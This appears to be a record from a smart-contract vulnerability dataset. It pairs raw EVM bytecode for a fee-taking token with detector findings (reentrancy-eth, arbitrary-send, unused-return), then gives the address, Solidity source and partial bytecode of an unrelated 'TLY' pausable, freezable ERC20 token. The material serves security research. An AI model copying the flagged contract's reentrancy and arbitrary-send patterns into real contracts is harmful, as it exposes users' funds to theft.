00033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612e2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612dea565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612eca565b60405180910390fd5b6005600a81905550600a600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601160179054906101000a900460ff165b15611898576012548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b6014426118549190613080565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af576005600a81905550600a600b819055505b60006119ba30610783565b9050601160159054906101000a900460ff16158015611a275750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601160169054906101000a900460ff165b15611a6757611a4d81611cf9565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b26848484846120b8565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612dc8565b60405180910390fd5b5060008385611b839190613161565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be060028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c0b573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5c60028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600854821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990612e0a565b60405180910390fd5b6000611cdc6120e5565b9050611cf1818461206e90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b5090503081600081518110611dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6557600080fd5b505afa158015611e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9d919061285a565b81600181518110611ed7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fa2959493929190612f65565b600060405180830381600087803b158015611fbc57600080fd5b505af1158015611fd0573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120065760009050612068565b600082846120149190613107565b905082848261202391906130d6565b14612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a90612e8a565b60405180910390fd5b809150505b92915050565b60006120b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612110565b905092915050565b806120c6576120c5612173565b5b6120d18484846121b6565b806120df576120de612381565b5b50505050565b60008060006120f2612395565b91509150612109818361206e90919063ffffffff16565b9250505090565b60008083118290612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e9190612dc8565b60405180910390fd5b506000838561216691906130d6565b9050809150509392505050565b6000600a5414801561218757506000600b54145b15612191576121b4565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121c8876123f7565b95509550955095509550955061222686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230781612507565b61231184836125c4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161236e9190612f4a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123cb683635c9adc5dea0000060085461206e90919063ffffffff16565b8210156123ea57600854683635c9adc5dea000009350935050506123f3565b81819350935050505b9091565b60008060008060008060008060006124148a600a54600b546125fe565b92509250925060006124246120e5565b905060008060006124378e878787612694565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124b89190613080565b9050838110156124fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f490612e4a565b60405180910390fd5b8091505092915050565b60006125116120e5565b905060006125288284611ff390919063ffffffff16565b905061257c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125d98260085461245f90919063ffffffff16565b6008819055506125f4816009546124a990919063ffffffff16565b6009819055505050565b60008060008061262a606461261c888a611ff390919063ffffffff16565b61206e90919063ffffffff16565b905060006126546064612646888b611ff390919063ffffffff16565b61206e90919063ffffffff16565b9050600061267d8261266f858c61245f90919063ffffffff16565b61245f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ad8589611ff390919063ffffffff16565b905060006126c48689611ff390919063ffffffff16565b905060006126db8789611ff390919063ffffffff16565b90506000612704826126f6858761245f90919063ffffffff16565b61245f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273061272b84612fff565b612fda565b9050808382526020820190508285602086028201111561274f57600080fd5b60005b8581101561277f57816127658882612789565b845260208401935060208301925050600181019050612752565b5050509392505050565b60008135905061279881613614565b92915050565b6000815190506127ad81613614565b92915050565b600082601f8301126127c457600080fd5b81356127d484826020860161271d565b91505092915050565b6000813590506127ec8161362b565b92915050565b6000815190506128018161362b565b92915050565b60008135905061281681613642565b92915050565b60008151905061282b81613642565b92915050565b60006020828403121561284357600080fd5b600061285184828501612789565b91505092915050565b60006020828403121561286c57600080fd5b600061287a8482850161279e565b91505092915050565b6000806040838503121561289657600080fd5b60006128a485828601612789565b92505060206128b585828601612789565b9150509250929050565b6000806000606084860312156128d457600080fd5b60006128e286828701612789565b93505060206128f386828701612789565b925050604061290486828701612807565b9150509250925092565b6000806040838503121561292157600080fd5b600061292f85828601612789565b925050602061294085828601612807565b9150509250929050565b60006020828403121561295c57600080fd5b600082013567ffffffffffffffff81111561297657600080fd5b612982848285016127b3565b91505092915050565b60006020828403121561299d57600080fd5b60006129ab848285016127dd565b91505092915050565b6000602082840312156129c657600080fd5b60006129d4848285016127f2565b91505092915050565b6000602082840312156129ef57600080fd5b60006129fd84828501612807565b91505092915050565b600080600060608486031215612a1b57600080fd5b6000612a298682870161281c565b9350506020612a3a8682870161281c565b9250506040612a4b8682870161281c565b9150509250925092565b6000612a618383612a6d565b60208301905092915050565b612a7681613195565b82525050565b612a8581613195565b82525050565b6000612a968261303b565b612aa0818561305e565b9350612aab8361302b565b8060005b83811015612adc578151612ac38882612a55565b9750612ace83613051565b925050600181019050612aaf565b5085935050505092915050565b612af2816131a7565b82525050565b612b01816131ea565b82525050565b6000612b1282613046565b612b1c818561306f565b9350612b2c8185602086016131fc565b612b3581613336565b840191505092915050565b6000612b4d60238361306f565b9150612b5882613347565b604082019050919050565b6000612b70602a8361306f565b9150612b7b82613396565b604082019050919050565b6000612b9360228361306f565b9150612b9e826133e5565b604082019050919050565b6000612bb6601b8361306f565b9150612bc182613434565b602082019050919050565b6000612bd9601d8361306f565b9150612be48261345d565b602082019050919050565b6000612bfc60218361306f565b9150612c0782613486565b604082019050919050565b6000612c1f60208361306f565b9150612c2a826134d5565b602082019050919050565b6000612c4260298361306f565b9150612c4d826134fe565b604082019050919050565b6000612c6560258361306f565b9150612c708261354d565b604082019050919050565b6000612c8860248361306f565b9150612c938261359c565b604082019050919050565b6000612cab60178361306f565b9150612cb6826135eb565b602082019050919050565b612cca816131d3565b82525050565b612cd9816131dd565b82525050565b6000602082019050612cf46000830184612a7c565b92915050565b6000604082019050612d0f6000830185612a7c565b612d1c6020830184612a7c565b9392505050565b6000604082019050612d386000830185612a7c565b612d456020830184612cc1565b9392505050565b600060c082019050612d616000830189612a7c565b612d6e6020830188612cc1565b612d7b6040830187612af8565b612d886060830186612af8565b612d956080830185612a7c565b612da260a0830184612cc1565b979650505050505050565b6000602082019050612dc26000830184612ae9565b92915050565b60006020820190508181036000830152612de28184612b07565b905092915050565b60006020820190508181036000830152612e0381612b40565b9050919050565b60006020820190508181036000830152612e2381612b63565b9050919050565b60006020820190508181036000830152612e4381612b86565b9050919050565b60006020820190508181036000830152612e6381612ba9565b9050919050565b60006020820190508181036000830152612e8381612bcc565b9050919050565b60006020820190508181036000830152612ea381612bef565b9050919050565b60006020820190508181036000830152612ec381612c12565b9050919050565b60006020820190508181036000830152612ee381612c35565b9050919050565b60006020820190508181036000830152612f0381612c58565b9050919050565b60006020820190508181036000830152612f2381612c7b565b9050919050565b60006020820190508181036000830152612f4381612c9e565b9050919050565b6000602082019050612f5f6000830184612cc1565b92915050565b600060a082019050612f7a6000830188612cc1565b612f876020830187612af8565b8181036040830152612f998186612a8b565b9050612fa86060830185612a7c565b612fb56080830184612cc1565b9695505050505050565b6000602082019050612fd46000830184612cd0565b92915050565b6000612fe4612ff5565b9050612ff0828261322f565b919050565b6000604051905090565b600067ffffffffffffffff82111561301a57613019613307565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061308b826131d3565b9150613096836131d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130cb576130ca6132a9565b5b828201905092915050565b60006130e1826131d3565b91506130ec836131d3565b9250826130fc576130fb6132d8565b5b828204905092915050565b6000613112826131d3565b915061311d836131d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613156576131556132a9565b5b828202905092915050565b600061316c826131d3565b9150613177836131d3565b92508282101561318a576131896132a9565b5b828203905092915050565b60006131a0826131b3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131f5826131d3565b9050919050565b60005b8381101561321a5780820151818401526020810190506131ff565b83811115613229576000848401525b50505050565b61323882613336565b810181811067ffffffffffffffff8211171561325757613256613307565b5b80604052505050565b600061326b826131d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561329e5761329d6132a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361d81613195565b811461362857600080fd5b50565b613634816131a7565b811461363f57600080fd5b50565b61364b816131d3565b811461365657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4ade39d5c1ba1291787c06e70e4cbd89a555b2411927e132165d12f07645d3764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,047
0xe5c8c0cac98769dae4d030e3e87062752c49d323
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpauseunpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom( address from, address to, uint256 value ) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue) ); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title Frozenable Token * @dev Illegal address that can be frozened. */ contract FrozenableToken is Ownable { mapping(address => bool) public frozenAccount; event FrozenFunds(address indexed to, bool frozen); modifier whenNotFrozen(address _who) { require(!frozenAccount[msg.sender] && !frozenAccount[_who]); _; } function freezeAccount(address _to, bool _freeze) public onlyOwner { require(_to != address(0)); frozenAccount[_to] = _freeze; emit FrozenFunds(_to, _freeze); } } /** * @title HS Token * @dev HS digital painting asset platform token. * @author HS.org */ contract TLYToken is PausableToken, FrozenableToken { string public name = "TLY"; string public symbol = "TLY"; uint256 public decimals = 18; uint256 INITIAL_SUPPLY = 35000000 * (10**uint256(decimals)); // owner address address private _ownerAddress; // initial, Owner address /** * @dev Initializes the total release */ constructor() public { totalSupply_ = INITIAL_SUPPLY; _ownerAddress = msg.sender; balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } /** * if ether is sent to this address, send it back. */ function() public payable { revert(); } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public whenNotFrozen(_to) returns (bool) { return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public whenNotFrozen(_from) returns (bool) { return super.transferFrom(_from, _to, _value); } }
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c257806323b872dd146101e9578063313ce567146102135780633f4ba83a146102285780635c975abb1461023f578063661884631461025457806370a08231146102785780638456cb59146102995780638da5cb5b146102ae57806395d89b41146102df578063a9059cbb146102f4578063b414d4b614610318578063d73dd62314610339578063dd62ed3e1461035d578063e724529c14610384578063f2fde38b146103aa575b600080fd5b34801561010c57600080fd5b506101156103cb565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a0360043516602435610459565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d7610484565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae600160a060020a036004358116906024351660443561048a565b34801561021f57600080fd5b506101d76104e4565b34801561023457600080fd5b5061023d6104ea565b005b34801561024b57600080fd5b506101ae610562565b34801561026057600080fd5b506101ae600160a060020a0360043516602435610572565b34801561028457600080fd5b506101d7600160a060020a0360043516610596565b3480156102a557600080fd5b5061023d6105b1565b3480156102ba57600080fd5b506102c361062e565b60408051600160a060020a039092168252519081900360200190f35b3480156102eb57600080fd5b5061011561063d565b34801561030057600080fd5b506101ae600160a060020a0360043516602435610698565b34801561032457600080fd5b506101ae600160a060020a03600435166106f0565b34801561034557600080fd5b506101ae600160a060020a0360043516602435610705565b34801561036957600080fd5b506101d7600160a060020a0360043581169060243516610729565b34801561039057600080fd5b5061023d600160a060020a03600435166024351515610754565b3480156103b657600080fd5b5061023d600160a060020a03600435166107e0565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104515780601f1061042657610100808354040283529160200191610451565b820191906000526020600020905b81548152906001019060200180831161043457829003601f168201915b505050505081565b60035460009060a060020a900460ff161561047357600080fd5b61047d8383610803565b9392505050565b60015490565b33600090815260046020526040812054849060ff161580156104c55750600160a060020a03811660009081526004602052604090205460ff16155b15156104d057600080fd5b6104db8585856108a5565b95945050505050565b60075481565b600354600160a060020a0316331461050157600080fd5b60035460a060020a900460ff16151561051957600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561058c57600080fd5b61047d83836108ca565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146105c857600080fd5b60035460a060020a900460ff16156105df57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104515780601f1061042657610100808354040283529160200191610451565b33600090815260046020526040812054839060ff161580156106d35750600160a060020a03811660009081526004602052604090205460ff16155b15156106de57600080fd5b6106e884846109ba565b949350505050565b60046020526000908152604090205460ff1681565b60035460009060a060020a900460ff161561071f57600080fd5b61047d83836109de565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461076b57600080fd5b600160a060020a038216151561078057600080fd5b600160a060020a038216600081815260046020908152604091829020805460ff1916851515908117909155825190815291517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a25050565b600354600160a060020a031633146107f757600080fd5b61080081610a77565b50565b60008115806108335750336000908152600260209081526040808320600160a060020a0387168452909152902054155b151561083e57600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60035460009060a060020a900460ff16156108bf57600080fd5b6106e8848484610af5565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561091f57336000908152600260209081526040808320600160a060020a0388168452909152812055610954565b61092f818463ffffffff610c6c16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60035460009060a060020a900460ff16156109d457600080fd5b61047d8383610c7e565b336000908152600260209081526040808320600160a060020